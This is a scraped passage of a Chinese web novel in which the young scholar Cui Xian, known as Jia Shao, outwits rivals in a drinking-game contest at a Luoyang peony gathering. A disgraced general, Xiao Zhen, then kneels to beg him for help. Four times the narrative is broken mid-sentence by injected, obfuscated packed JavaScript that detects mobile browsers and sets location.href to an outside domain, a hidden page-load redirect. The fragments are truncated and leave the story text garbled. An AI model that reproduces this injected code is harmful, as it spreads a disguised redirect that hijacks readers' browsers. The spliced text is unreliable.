赵恒,齐栋梁,崔岘,苏祈,何旭,以及成百数千的文人们,浩浩荡荡赶来。 听闻亭子里正在玩行酒令。 赵恒率先停下脚步,笑眯眯一伸手,示意众人噤声,以作旁听。 崔岘、何旭还好。 倒是苏祈,满脸不耐烦。 这么多人赶来谪仙亭,里面那几人,只要不是聋子,肯定是听到动静了。 但,却偏要表现的毫无察觉。 不是,你们在装什么啊? 本事小小,姿态叼叼! 呵! 谪仙亭内。 率先提议玩行酒令游戏的青衣少年郎,看向曲水流觞里缓缓流淌下来的那盘鱼,笑眯眯道:“既如此,那便从我开始。 “我这一行酒令为:姜子牙渭水钓鱼! 说罢。 青衣少年郎站起身,将那盘鱼自小溪中取出,置放在自己面前,笑道:“诸位,承让了。 这个小游戏,看似简单。 实则也需要费一些心思。 将菜色佳肴,历史人物,和其对应的事件结合起来。 它考验的,不仅仅是学识,还得是敏捷的思维,和娴熟的应变能力。 以及对历史典故的烂熟于 心。 随着青衣少年郎话音落下。 亭外读书人们下意识发出敬佩赞叹声。 谪仙阁内。 位于青衣少年郎下方一个国字脸、眉眼方正的少年看着小溪里那盘马肉笑道:“秦叔宝长安卖马!” 而后。 他在众人叫好中端走了那盘马肉。 接着国字脸少年下方一个有些胖乎乎的少年郎一甩折扇笑着说道:“苏子卿贝湖牧羊!” 说完后他端走了那盘羊肉。 胖乎乎少年郎下方一个跟竹竿似的少年站起来伸手直接拿走了自小溪中流淌而来的猪肉。 这才朗声道:“张翼德涿县卖肉!” 至此六盘菜被抢走了四盘还剩下两盘。 一位略显羞涩的少年郎站起身虽说表情讷讷但说出来的典故却着实让人头皮发麻:“关云长荆州刮骨!” 好家伙! 在众人侧目惊叹中那羞涩少年郎眼疾手快拿走了一盘骨头。 最后。 一个模样黝黑身材壮硕眼含煞气完全不似书生的中年人站起来盯着最后一盘蔬菜闷声说道:“诸葛亮隆中种菜!” 说完后。 他将最后一盘蔬菜自小溪中端走。 六盘菜全部被瓜分完毕。 亭子外围观的读书人们神情赞叹:不愧是能坐进谪仙阁里的才子着实本事惊人呐! 赵恒看完了才子们的行酒令露出笑容正准备带着贾邵进去介绍给众人互相认识。 却不曾料到。 谪仙亭内 青衣少年郎像是才发现外面的众人一般惊讶站起来:“赵知府齐同知还有诸位你们是何时到的?” “我等玩行酒令入了神未第一时间察觉实在失敬。” “方才我们在谪仙亭内听说了好多贾邵兄的事迹实在心生佩服。不知哪位是贾邵师兄?” 这话说完。 众人都齐齐看向贾邵。 一身红衣的崔岘自人群中走出笑道:“正是在下。” 亭子里。 包括那青衣少 年郎在内,其余五人,都齐齐看向崔岘,神情或微妙、或探究。 盖因,在场其余人或多或少,都有些名声在外。 唯有这贾邵,先前一点都没听说过! 实在神秘。 可单瞧这贾邵的卖相姿态,便足以令人不敢小觑。 青衣少年郎朝着崔岘拱了拱手,笑道:“我观贾邵兄之风姿,实在器宇不凡、临风玉树。 “这样,不知贾邵兄,可有兴趣参与我等正在进行的酒令游戏? 啊? 听闻青衣少年郎这话,众人都愣住了。 其实参加行酒令游戏,倒也没什么。 问题是—— 宴席里的六盘菜,都被抢光了啊! 这还要怎么参加? 连菜都没有了,又如何以菜名作典故,引用历史人物和事件争菜呢? 一些思路敏锐的人,已经隐隐察觉到了。 谪仙亭里的六位才子,看似姿态和煦,其实是隐隐在给贾邵下马威呢! 说来也是,大家都是文采斐然、骄傲自负的耀眼少年郎。 谁会乐意当作其余人的陪衬呢? 想通了这一点,所有人都看向贾邵。 毕竟,无论是《登鸿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088455|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雁楼》、《咏柳》两首诗,亦或者打败苏祈、何旭,都是别人在诉说。 众人始终未曾亲眼见证,贾邵真正当众展露才情。 赵恒、齐栋梁看向贾邵。 何旭看向贾邵。 就连方才表示‘想和贾邵交个朋友’的苏祈,都没有出声,看向贾邵。 严思远等小黑粉、张廷豫等人,也都看向贾邵。 文会这种地方,只能以实力说话! 别人是帮不上忙的, 想要服众,只能自己上! 迎着无数道目光。 崔岘挑了挑眉梢,看向那青衣少年郎,笑道:“你确定,要我参与你们的行酒令? 青衣少年郎会错了意,笑道:“贾邵兄放心,这曲水流觞里,看似没了菜。但只要你有能力,大可从我等手中,把菜抢过去。 “当然,你抢完了,我等还可以继续抢。且看贾邵兄,有没有那个本事,把菜留在自 个儿口中了。” 此话说完。 亭子里的五位才子,都挺直脊梁,眯起眼睛看向贾邵。 历史人物和事件何其之多,哪怕局限于菜肴,也大有可施展的空间。 因此,诸位才子都做好了跟贾邵‘争菜’的准备。 然而。 在一片瞠目注视下。 便见那贾邵粲然一笑,姿态格外张扬肆意:“不必麻烦你们了,这些美味菜肴,今日便由贾某一人享用吧。” “尔等,怕是要饿着肚子了。” 青衣少年郎挑了挑眉:“哦?” 亭子里的五位天才们,也都目露惊讶。 啊? 听闻此话,其余众人更是纷纷瞪大了眼。 曲水流觞宴席里,一道菜也无,贾邵凭什么有信心,能让谪仙亭里六位才子都饿肚子啊? 但其实,破局办法很简单。 因为这个行酒令的规则是:引用历史人物和事件,取走菜肴。 那谁说一次性只能取走一道菜肴呢? 在全场呆滞的注视下。 贾邵施施然走进谪仙亭,将双手压在桌案上,看向六位才子,朗声笑道:“我这道行酒令为——” “秦始皇并吞六国!” 啊? 谪仙亭里,六位才子愣住了。 亭子外。 无数读书人也傻了。 便见亭子里。 一身红衣的贾邵笑容肆意灿烂,回头冲着苏祈、何旭说道:“苏兄,何兄,今日你我三人,要大饱口福了!” “快快进来分菜!” 何旭尚且在愣神。 苏祈率先反应过来,直接冲进去,把那六盘菜端过来,哈哈大笑:“一帮废物,等着饿肚子吧!” ? 165、文会上那些比花更耀眼的天才少年们(下) 贾邵一句‘秦始皇并吞六国’,取走了全部六盘菜。 更妙的是。 此句一出,对方都没法把菜抢回去了! 看着属于自己的菜肴被收走,六位才子表情格外精彩。 而谪仙阁外。 无数围观了这场‘抢菜较量’的读书人们,则是钦佩看向贾邵,眼冒星光。 好家伙! 贾邵师兄,当真文思敏捷、年少肆意。 属实是我辈文人楷模啊! 等今日结束,单是这件‘贾邵独揽六盘菜肴’的趣事,都能被人津津乐道许久。 知府赵恒、同知齐栋梁先后走进谪仙阁,盯着贾邵面前那六盘菜,揶揄哈哈大笑。 “看来,贾邵先生今日率先拔得头筹啊。 赵知府说着,笑眯眯看向阁内众人。 他的目光,在那喊出‘诸葛亮隆中种菜’那个皮肤黝黑、周身含煞的中年人身上略作停留,表情略有疑惑。 但很快便压下情绪,笑着提议道:“此次洛阳赏花文会,得在场诸位大才子们捧场,本官倍感荣幸。 “但,想来诸位都是第一次见面,或许先前听过对方名讳,却并不相识。 “是以本官提议,咱们来玩个小游戏。参与游戏后,再顺带介绍自己,诸位意下如何啊? 这就是文会。 处处都是‘小游戏’,把文人墨客的雅之一字,体现的淋漓尽致。 换句话说,没有点真才实学,你都不敢进入这个圈子。 比如此刻外面成百数千的读书人,都默契站在谪仙亭外围观。 金谷园牡丹花海中,设有数百桌宴席,以供他们享用。 虽不如谪仙阁内曲水流觞奢侈,但坐于花海、举杯言欢,也不失为一种雅趣。 赵恒说完。 那最开始提议玩‘行酒令聚宴争菜’的青衣少年郎,笑问道:“请知府大人说说看,这游戏规则。 众人都看向赵恒。 赵恒一摊手,笑着说道:“诸位既来了洛阳,那就入乡随俗,以‘洛’字起笔作联句诗。但有两个小小要求,需含河图之数,牡丹之名。 “先作诗,后介绍自己,最后再落座。 嘶! 不是,你管这叫小游戏? 好变态的规则啊! 青衣少年郎点点头,眯起眼睛看向揽走六盘菜,还猖狂骂自己等人是‘废物’的苏祈,朗声说道:“既如此,从你开始,如何?” “好说。” 苏祈半点不怵。 他抬眼看向谪仙阁外一片绚烂的姚黄牡丹,眉眼间尽是桀骜笑意,脱口而出道:“洛阳狂客三分醉,牡笔姚黄一扫空!” 说罢。 他大步流星走到宴席中落座,给自己斟了一杯酒,这才看向众人,傲然道:“苏祈!” 好一个‘洛阳狂客苏祈’! 此人,也确实有狂妄的资本! 众人惊艳看向苏祈。 赵恒更是抚掌赞叹道:“此句甚妙!当浮一大白!” 先前因为被骂‘废物’而不开心的青衣少年郎,眼睛猛然亮起来,赞叹道:“原来竟是你!” 他看着苏祈,略作思索后,笑道:“洛书二仪分造化,牡鼎紫云八卦章!” 作完诗。 青衣少年郎朝着众人拱手:“在下周斐然。” 他便是周斐然师兄! 亭子外的读书人们,满目惊艳赞叹。 周斐然走到宴席处,冲苏祈一抱拳,正准备落座在他身侧。 苏祈却蹙眉道:“麻烦坐远一些,我身边的位置,是给贾邵留的。” 周斐然:? 他脸上的笑容僵硬住,郁闷坐远了一些。 亭子入口处。 年轻的何旭朝着众人一拱手,朗声笑道:“洛滨九奏惊鸿舞,牡笛御袍五云从。在下何旭。” 在一片叫好声中。 何旭落座曲水流觞宴席。 齐栋梁同知脸上尽是惊艳笑容,赞叹笑道:“好,好啊!诸位果然都是名满天下的大才子,出口成章,句句经典!” “单是今日这场精彩的自我介绍,想来都会传作佳话!” 可不是嘛! 年轻的才子们,汇聚在一起,以联句诗会友,介绍自己名讳! 这般风姿才情,谁看了不心驰神往? 外面一群围观的读书人,一个个 眼冒星光看着谪仙阁内一群真才子佩服又赞叹。 只恨自己没文化无法坐进去一展才情! 场子开始热络起来。 莫说外面那群文人。 谪仙阁里一群年轻的天才们神情都变得振奋。 先前说出‘秦叔宝长安卖马’的国字脸方正少年朝着众人一拱手笑道:“洛文六赋才倾国牡雪蓝田九畹香!在下孟绅!” 大才子孟绅! 此名讳一报当即引来无数咂舌惊叹。 尤其是孟绅这一联句诗也作的极为漂亮。 ‘九畹香’可并非轻薄之语而是出自《楚辞》:余既滋兰之九畹。 以喻君子之德! 这是非常高洁的一句联句诗甚至隐约有‘借诗铭志’的意思。 尽显少年才情品德! 不出意外孟绅这句当即引来无数人捧场叫好。 连崔岘都格外多看了此人两眼目露惊艳而后笑道:“孟绅兄真君子也!你这一句当佐佳肴菜色下酒举杯畅饮!” 听到这话孟绅抬头看向贾邵。 都是个顶个的年轻才子不仅满腹经纶才情更是通透。 孟绅几乎瞬间便领略了贾邵的意思佯装揶揄道:“佐佳肴下酒?可惜啊可惜今日的佳肴都被贾邵兄一人得之。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088456|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >众目睽睽下。 一身红衣的贾邵挑了挑眉将那六盘佳肴先后一一放回曲水流觞中笑着环视四周:“今蒙诸君赐教胜得六味珍馐。” “然《礼记》曰:独学而无友则孤陋而寡闻。” “《论语》曰:君子以文会友以友辅仁。” “若贾某独享其味岂非辜负今日这曲水载诗、牡丹佐宴之风流?” “一觞一咏畅叙幽情。六味回流共分才气。” “诸君请看 “此非庖厨之味实乃《周易》‘同气相求’之雅契!” “今日我与诸君共享佳肴美味敬此次洛阳文会相遇也敬你我——” “才思如眼前曲水流不尽饮不竭!” 此番话一出当即响起满堂喝彩! 好 一个‘六味回流,共分才气’! 谪仙阁内,一群年轻的才子们,都被贾邵这番话触动。 方才因为‘抢菜事件’带来的隔阂尴尬,瞬间烟消云散。 大家围拢在曲水流觞宴席两侧,纷纷笑着举起手中酒杯,敬此次洛阳相遇。 他们眉眼青涩,模样年轻,站在谪仙阁里,浑身尽显少年肆意洒脱。 比外面绚烂的牡丹花海,都更加耀眼! 一杯酒下肚。 孟绅笑看向贾邵,说道:“贾邵兄,你似乎还未作联句诗。” 迎着众人的打量。 崔岘眼睛里浮现出一抹迟疑。 苏祈见状,直接道:“尽管说,不必管我们的死活。” 崔岘就笑。 他向来性格沉稳,很少有情绪外露的时候。但此时此刻,气氛实在太好,一群同龄优秀少年郎们,格外肆意、格外神采飞扬。 巧了。 他自己,也是这样一位优秀的年轻少年郎啊! 因此,在无数道目光惊艳的注视下。 便见一身红衣的贾邵给自己斟了一杯酒,一饮而尽。 而后脸上露出绚烂蓬勃笑意,朗声道:“洛城三分天下计,牡图魏紫七星同!诸位,在下贾邵。” ‘三分’引诸葛亮《隆中对》,显运筹帷幄之才。 ‘魏紫’为牡丹之王,暗喻宰辅尊荣。 ‘七星’为《史记·天官书》:北斗七星主政。含经纬天地之志,非宰辅不能道。 方才苏祈那句‘狂’诗,张扬肆意。 可贾邵这句,似乎要更‘狂’—— 读四书五经,位极人臣做宰辅,是每个少年郎的终极理想啊。 因此。 贾邵两句诗一出,不管是谪仙亭内,还是谪仙亭外,当即爆发出雷鸣般的欢呼声、叫好声。 本次牡丹文会,耀眼天才少年郎何其之多。 但,一身红衣的少年郎贾邵,毫无疑问,是文会上最年轻肆意、最耀眼绚烂的那一个! ? 166、请先生救我!(上) 谪仙阁内。 知府赵恒眼睛陡然亮起惊叹看向贾邵:“好一个‘洛城三分天下计牡图魏紫七星同’!” “诸位本官提议我们为此诗句再次共饮一杯。” “敬此次洛阳文会诸君在这花海中相遇!” “也敬诸君来日皆能如贾邵这诗句所言各自施展抱负位登绝顶贵极人臣!” 说罢。 赵恒笑着给自己斟了一杯酒。 同知齐栋梁、苏祈、何旭、周斐然、孟绅以及崔岘在内一群才子们纷纷举杯。 包括谪仙阁外成百上千的读书人们。 也都各自去席间斟酒。 春风轻拂花海摇曳六角飞檐下铜铃作响。 一个个张扬肆意的少年郎们举杯畅饮—— 敬最年轻、最鲜活、也最耀眼的自己! 又是一杯酒下肚。 金谷园里这场热闹的牡丹文会经由贾邵那番话此刻气氛融洽极了也热络极了! 崔岘已作完联句诗在苏祈身边坐下。 他刚落座便注意到旁边那位模样壮硕、浑身煞气的中年人一直在紧紧盯着自己。 说实话纵观牡丹文会全场都是年轻的书生少年郎。 唯有这位黝黑壮硕中年人虽说穿着一身儒衫气质却显得和这里格格不入。 甚至连本次文会‘主办方’赵恒都不认识此人。 因此。 见时机差不多了赵恒看向那黝黑中年人眯起眼睛道:“阁下该你作诗、介绍自己了。” 中年人收回看向贾邵的目光姿态干练朝着赵恒一拱手声音浑厚有力:“洛剑八荒烽烟尽 “至于在下无名小卒不足道尔!” 曲水流觞宴席上包括崔岘在内所有人都惊讶看向那中年人。 这句诗其实做的相当大气。 但也有个致命缺陷那就是不符合游戏规则——诗句中只有一个‘牡’字并未带牡丹品种之名。 这中年人不仅学问不太行还拒绝做自我介绍。 被崔岘热起来的场子霎时间有些尴尬。 无数读书人们都拧眉看向这黝黑中年人,神情中有些不喜。 这里是大梁王朝近年来,最隆重的一场盛事文会! 你可以学识浅薄。 但你不能厚着脸皮,不自量力走进谪仙阁里啊! 赵恒看向那中年人,笑道:“诗是好诗,可惜并不符合游戏规矩。阁下,怕是要自罚一杯了。 中年人倒也痛快。 他给自己斟了一杯酒,仰头一饮而尽。 而后在无数哗然愤怒中,直接将手中杯盏狠狠砸落地面,冷笑扫视全场:“诸君高谈姚黄魏紫,可知闽南‘血牡丹’已开遍海岸? “书生误国!尔等笔下千言,不及倭寇一刀——海防糜烂、豪族通番、卫所空虚,三百年海疆危如累卵! “岂是一句‘牡图魏紫七星同’之空谈可解? 此言一出,满场哗然。 崔岘眯起眼睛。 赵恒眉头更是狠狠一跳。 盖因,这个时政话题实在太过敏感了! 两年前。 也就是嘉和二十年。 汪直勾结倭寇,在江浙地区作乱,**百姓。 陛下震怒,派遣萧震率领三万水军,前去围剿。 但因大梁水师孱弱,不擅水上作战,萧震大军被倭寇在海上吊着打。 这件事,似**般,引爆了大梁王朝多年积攒的弊病。 其余暂且不谈。 单是萧震这三万水军,败绩频出。 尤其是今年年初,一场海战,大梁三万水军,只剩八千! 这般难堪败绩,惹来朝堂震惊,陛下愤怒。 于是。 一道圣旨自京师送往东南:勒令罪臣萧震,携带八千败军,返回京师受审! 在这种时政背景下,东南倭寇作乱,可以说是整个大梁、整个朝堂的病痛! 今洛阳文会参与者众多,畅聊东南,实在非明智之举。 此人究竟是谁? 为何会出现在文会上! 无端提起东南倭乱,又是何居心? 作为官场老油条,赵恒已经敏锐的察觉到,这个中年人,来者不善! 但。 没等赵恒开口。 旁边同知齐栋梁冷笑一声呵斥道:“倭寇之祸皆因边将畏战!萧震辜负陛下期许败的如此难堪实在该死!” 赵恒:? 他难以置信的看向齐栋梁满脸震惊愠怒。 这话简直是在火上浇油! 你是故意来带节奏的吧! 迎着赵恒震惊愤怒的目光齐栋梁心虚的看向一旁目光哀切瞧着那黝黑中年人心想:兄弟我只能帮你这一次了! 今日文会上天下才子众多还有贾邵先生这般经天纬地之才甚至能跟陛下暗中通信。 你和你身后那八千士兵能否活命—— 全看你的造化了啊! 果然。 听闻齐栋梁这话那黝黑中年人当即说道:“萧震确实该死!” “《商君书·赏刑》云:败军者诛所以励三军也!” “昔白起长平胜而杜邮死项 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088457|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 羽巨鹿胜而垓下亡——此乃千古铁律!” 萧震35岁字定边。 大梁东南抗倭副总兵从二品。 看似官职很高但因大梁重文轻武所以哪怕从二品的武将也备受限制。 尤其是此人还吃了嘉和年间最惨烈的一次败仗! 直接被钉在了耻辱柱上! 可在场都是才思敏捷的少年郎深知一位骁勇武将对边防的重要性。 而且南方倭乱原因极其复杂牵涉十分之广。 萧震此次战败背后究竟因为什么原因 但不管因为什么—— 胜败乃兵家常事。 只因打了败仗便要问斩萧震责令水军八千士兵实在让人心寒! 没错朝廷虽只说让萧震回京受审但其实所有人都知道萧震必死无疑! 听闻中年人那番‘萧震该死’的话。 苏祈一扬眉率先反驳道:“《左传·僖公三十三年》载:不以一眚掩大德。” “若败即诛则廉颇亦曾败于秦何以终为赵柱石?《吴子·论将》更言:将之所摩莫不从移!” 随着苏祈话音落下。 周斐然当即 响应道:“《史记·廉颇传》详载:赵奢初败阏与,后却大破秦军。” “司马法云:赏不逾时,罚不迁列。今未察败因先议诛戮,岂非《韩非子》所讥:不审得失之数?” 两位才子先后发声,引来谪仙阁外一群读书人叫好! 显然,大家虽是‘纸上谈兵’之书生。 但孰轻孰重,都分得清。 萧震,杀不得! 然而,听闻这番话的中年人,却在心中悲切一声叹息。 没有用! 四书五经,救不了我! 更救不了我身后,那八千为大梁浴血奋战的兄弟! 想到这里。 中年人深吸一口气,暗暗殷切看向始终不发一言的贾邵,故意用恶劣的语气说道:“萧震弃险冒进,致无数将士殒命,此非《尉缭子》''将失一令而军破身死''者乎?” “不管你们说的天花乱坠,那萧震,必须要死!” 嘴上说着这番话。 中年人心中却悲哀的想着—— 来斥责我吧,来反驳我吧! 只要你能救下我,救下我背后的八千兄弟。 自此以后,我甘愿做你的盘中棋子、手心刀刃! 盖因—— 我和我那八千兄弟,必须活着! 而后死于茫茫大海! ? 167、请先生救我!(下) “岂有此理!” “此人究竟是谁凭什么敢瞧不上萧将军!” “我等今日能坐在这里开文会享受太平盛世皆因三军将士苦苦镇守边疆!你又是个什么东西?” 那黝黑中年男子的话当即引来无数谩骂。 因为任谁都没想到本该风雅至极的牡丹文会竟闹出这么一场纷争! 谪仙阁内。 由于中年男子是看着贾邵说的因此其余才子脸上愠怒却并未第一时间开口。 崔岘看向那浑身煞气的中年男子目光在对方脖颈处隐隐露出的伤疤、和手掌厚厚的茧子上扫视而过神情一凛。 东南倭寇海匪贩卖私盐海禁走私南方豪强土地兼并逼民为寇。 一系列要命的事件迅速在他脑海中闪过。 这些年崔岘虽从未走出南阳但有老师、师祖在全大梁的‘时政新闻’都源源不断送来。 因此他很清楚东南之地有多棘手! 一旦牵扯进去绝对是个可怕的旋涡深渊! 自古以来太阳底下没有新鲜事。 举个很简单的例子:上辈子明朝张居正够厉害吧?可最后还不是被狠狠清算!盖因有些事情根本碰不得啊! 迎着中年男人殷切、期盼的目光崔岘并未第一时间开口。 事态过于严重。 纵然他是首辅徒孙都得掂量清楚! 救还是不救? 亦或者……如何救? 没有等到贾邵第一时间开口中年人很是失望。 而就在贾邵沉默的时候。 旁边的孟绅忍了又忍到底是没忍住拍案而起:“岂有此理!《黄帝内经》云:治病必求于本!” “你自己也说了!萧震败绩有三豪族断粮、卫所空虚、海禁逼民为盗此非萧震将军之过 这番话可谓相当辛辣大胆。 因此孟绅说完后引来无数文人拍案叫好。 他们年轻热血愿为所见之不平勇敢发声。 这便是无知又无畏纯粹又肆意的少年郎啊! 本在迟疑的崔岘 抬起头,看向周遭一张张年轻的脸,心中动容。 他想,自己活了两辈子,如今虽为少年,可终究做不到真如少年般不计后果的洒脱。 既如此—— 我便给你个机会吧,也给自己一个机会。 萧震将军。 来说服我救你吧! 孟绅的话说完,中年人并未驳斥,而是一直紧紧地看向贾邵。 这般异常,自然也引起无数人注意。 于是,周围大量视线,都落在了一直沉默的贾邵身上。 知府赵恒意识到到了什么,神情凝重的看向贾邵,暗示的意味非常明显:“贾邵先生,慎言! 崔岘没有理会赵恒。 他抬头看向那壮硕中年男人,沉默片刻后,在一片振奋欢呼声中,说道:“《六韬·奇兵》载:将不仁,则三军不亲。 “我听闻,萧将军亲为士卒吮疽,今残军仍愿效死。恰证《三略》''将能清能静,能平能整''之说,岂可以败绩掩良将? 岂可以败绩掩良将? 岂可以败绩掩良将!! 就这么短短几个字,让谪仙阁内、阁外,无数读书人神情激动,抚掌赞叹! 谁言我辈书生,只懂清谈误国? 我们不瞎不傻! 我们能辨忠奸! 良将,不可杀! 保疆卫国之士兵,不可死矣! 那位黝黑中年人,在听完这番话后,神情一震,眸子中满是动容,与隐隐浮现的泪光。 一句‘良将’,他萧震这两年来受的委屈,值了! 但,中年人仍旧看向贾邵,大声反驳道:“《论语》云:民无信不立。 “若赦败将,何以立朝廷威仪?《春秋》载:楚杀子玉而晋文公喜,此非明证? 显然,这才是问题之根源啊! ‘朝廷威仪’四字,重如泰山,压得在场无数才子文人沉默不语。 中年男人见状,眼含绝望。 一片安静中。 就见贾邵看向那中年人,露出一个安抚般的笑容:“《金刚经》云:应无所住而生其心。 “今诛一将而寒边关将士之心,恰如《老子》言''民不畏死 奈何以死惧之''? “不杀萧震可效《左传》秦穆公赦孟明终得''封殽尸而还''!” 这番话的意思便是:戴罪立功! 中年男人眼睛陡然亮起来迸生出无限希冀。 他姿态变得异常恭敬对着贾邵认真拱手:“《大梁律》虽云''将功折罪''然萧震残部只余八千如何平倭?” 此话属实有些为难人。 他们一群年轻少年郎怎么可能懂平倭战策? 莫说外面成百上千的读书人。 连谪仙阁内一群少年天才都讷讷失声。 接着。 在周围无数文人惊叹折服的注视下。 便见那一身红衣的贾邵端坐于曲水流觞宴席之中温和笑道:“今平倭之策有三。” “其一效仿《周礼》''荒政''十二首曰''散利'' ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088458|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。引《管子·轻重》开月港济民断倭源。” “其二效仿《吴子》''励士'':赦为''义乌矿勇''。” “其三效仿《孙子》''伐交'':联琉球锁五岛。” 听完此话中年男人浑身俱震。 这第一条策略意思是:以经济手段瓦解倭寇根基官府在灾年借贷粮种给百姓允许沿海渔民合法贸易使其无需依附倭寇谋生。 第二条策略:化败军为精锐以战功赎罪。将萧震残部与义乌矿工合编利用矿工悍勇善战的特点与倭寇作战。 第三条策略:派使者赴琉球缔结海防同盟切断倭寇在东海的中转补给以外交孤立倭寇。 但凡这三条能做到两条东南危机便能解决! 而萧震和他的八千士兵就能活命! 谪仙阁里。 苏祈第一个站起来激动看向贾邵:“好好啊!” 何旭、周斐然孟绅等才子同样神情振奋看向贾邵。 谪仙阁外更是因此而爆发出震天欢呼。 贾邵属实大才! 纵使坐在洛阳文会却能运筹帷幄解东南沿海之乱象! 如何不让人激动振奋崇拜欢呼! 唯有崔岘自己知道这三条想要做到谈何容易啊? 那中年男人也懂。 但,至少他看到了希望。 看到了活下去的希望啊! 两年了,整整两年了!从痛苦绝望,到麻木,到彻底心如死灰。 他在今日这场牡丹文会上,看到了希望,看到了光亮。 这希望那么小,又那么大—— 若每一个希望,都是微弱一点星火的话,八千星火相聚,就是一团汹涌烈火! 势要将倭寇燃成灰烬的烈火! 兄弟们,我做到了对你们的承诺! 我会活下去! 你们也要活下去! 我等半生抗倭,绝不能—— 死于自己人之手! 绝不! 这样想着。 在无数道震惊目光注视中,便见那中年男人一咬牙,猛然扯掉身上那套不甚合身的儒衫。 露出来的,是一身破败带血、却闪耀着寒芒的盔甲! 他于腰间拔出宝剑,抵于地面,一双虎眸发红,死死看着贾邵。 而后,毫不犹豫,单膝轰然跪地。 砰! 穿着铠甲的膝盖砸落地面,中年男人看着贾邵,颤声道:“大梁东南抗倭副总兵,萧震,携带八千大好儿郎性命于一身——” “请先生救我!” ? 168、一人战群雄,辩天下才子!(上) 中年男人话音落下,霎时间引发金谷园一片哗然。 “什么?此人便是萧震,萧总兵?” “他为何会出现在洛阳文会上!” “算算时间,萧总兵携带部下,正在返回京师受审的途中!萧总兵定然是不想蒙冤受死,所以才来洛阳文会,寻一条生路!” “可悲!何其可悲!一代抗倭名将,竟然要用这种**方式求救!” 连谪仙亭里,苏祈、周斐然、何旭等人,都看向单膝下跪的萧震,满眼震惊。 一位从二品的东南抗倭副总兵,在洛阳文会上,当众下跪求救! 太疯狂了! 崔岘是第一个回神的。 也很快意识到了萧震的用意。 对方这一跪,可不单单是跪自己,向自己求救。 更是跪给士林、跪给天下人看的啊! 萧震,这是想利用此次洛阳文会造势,为他、和他那八千士兵兄弟谋求一条生路。 看着眼眸通红,单膝跪地,神情乞求近乎卑微的萧将军,崔岘心中很快有了定夺。 东南水太浑,牵扯层面太广,不可轻易插手。 那就换个切入点,以本次洛阳文会作战场,只为萧震下跪求救一事,点一把火吧! 至于这团火,是能烧死萧震,还是能令萧震浴火重生—— 且看造化! 在极短的时间内,理清楚思路后。 崔岘快步走过去将萧震扶起来,认真道:“萧总兵这一跪,小子实在承受不住,快快请起。” “浴血抗倭,功在社稷!纵有败绩,岂容忠骨蒙尘?八千将士,父母所生、家国所养,岂能无辜受戮?” “此事,非将军一人之生死,乃国法、天理、人心之所系!将军若有冤屈,回京后,自当向陛下、向朝堂之上的大人们陈情!” “是以,我只问将军一句:东南一战,可问心有愧?可下愧苍生士卒、上愧朝堂君主?” 听闻此话。 萧震深深看了一眼贾邵,一双虎眸中带着感激。 而后。 在无数人动容的注视下,便见这位副总兵抬起头颅,骄傲道:“萧某半生抗倭,上不负君主,下不负苍生,问心无愧!” 好一个问心无愧啊! 此话,当即引来一片轰然叫好! 但,不顾洛阳知府赵恒愤怒的目光。 洛阳同知齐栋梁,自一片叫好声中走出来,怒斥萧震:“《大梁律》云:罪臣未决,擅离者斩!萧总兵戴罪之身,竟敢私离囚队,此乃大逆不道!” “你口口声声称不负君主苍生,却丧师辱国,欺君罔上!实在该死!” 这番话,可谓相当尖锐。 方才还能言善辩的萧震将军,此刻被骂的脸色涨红,满腹委屈,浑身颤抖,却一个字都说不出口。 看起来特别特别可怜! 而齐栋梁这番话,自然也引来无数愤怒的目光。 包括谪仙阁里的苏祈,都狠狠蹙起眉头,准备张口反驳。 崔岘意味深长看了一眼苏祈。 苏祈神情微怔。 下一刻。 便见贾邵大义凛然走出来,将弱小无助的萧震护在身后,看向齐栋梁冷声说道:“《吴子》云:将之所慎者五:理、备、果、戒、约。” “《左传》曰:临患不忘国,忠也。” “萧总兵不逃不叛,反入文会求策,心系士卒君主!若以此诛将,则天下良将皆可杀!齐大人,安的是什么心?” 齐栋梁似乎是被气到了,单手指着贾邵,满脸愠怒! 旁边,苏祈终于回过味儿来。 他深吸一口气,在无数难以置信的注视下,将矛头对准了贾邵、对准了萧震:“荒谬!” 